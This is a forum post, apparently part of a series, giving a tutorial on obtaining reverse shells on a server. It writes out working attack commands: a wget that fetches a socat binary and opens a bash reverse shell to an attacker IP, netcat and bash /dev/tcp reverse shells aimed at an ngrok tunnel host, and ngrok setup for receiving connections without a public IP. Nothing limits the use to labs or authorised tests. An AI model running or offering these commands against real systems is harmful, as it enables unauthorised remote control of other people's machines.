12-16-2023, 08:34 PM
Good afternoon, dear forum members!
Continued Article: Methods of obtaining a Reverse shell
But on the server: wget -q https://github.com/andrew-d/static-binar...6_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:5555
(if one team does not pass, you can divide it into components).
and we get this:
As you can see, we now have a tty reverse shell. On the above mentioned site you can find other options for getting a forward and reverse shell, as well as many other interesting perks such as privilege escalation on Linux systems, etc.
One more thing I'd like to point out is getting a reverse shell if you don't have a "white" IP address. Where to direct the connection? The ngrok service - www.ngrok.com - comes to the rescue.NGROK
First you need to register or use Google or Facebook accounts. Then download the program for our system:
Throw the program in a convenient place and study help - ngrok -h:
1. Start ngrok (ngrok tcp 4444). Our reverse-shell will accept an incoming connection from the Internet and route it to port 4444.
2. Start netcat (nc -lnvp 4444). NC will listen to port 4444 and when the connection is redirected to it and the port opens, the shell will start.
3. Run one of the reverse-shells. For example, use the same Netcat: nc 2.tcp.ngrok.io 16977 -e /bin/bash or Bash: bash -c 'exec bash -i &>/dev/tcp/2.tcp.ngrok.io /16977 <&1'
4. A connection will open in the terminal on the attacking machine
5. Use Python to get an interactive tty shell python3 -c 'import pty; pty.spawn("/bin/bash")'
Voilà!
That's all for now. Thank you for your attention!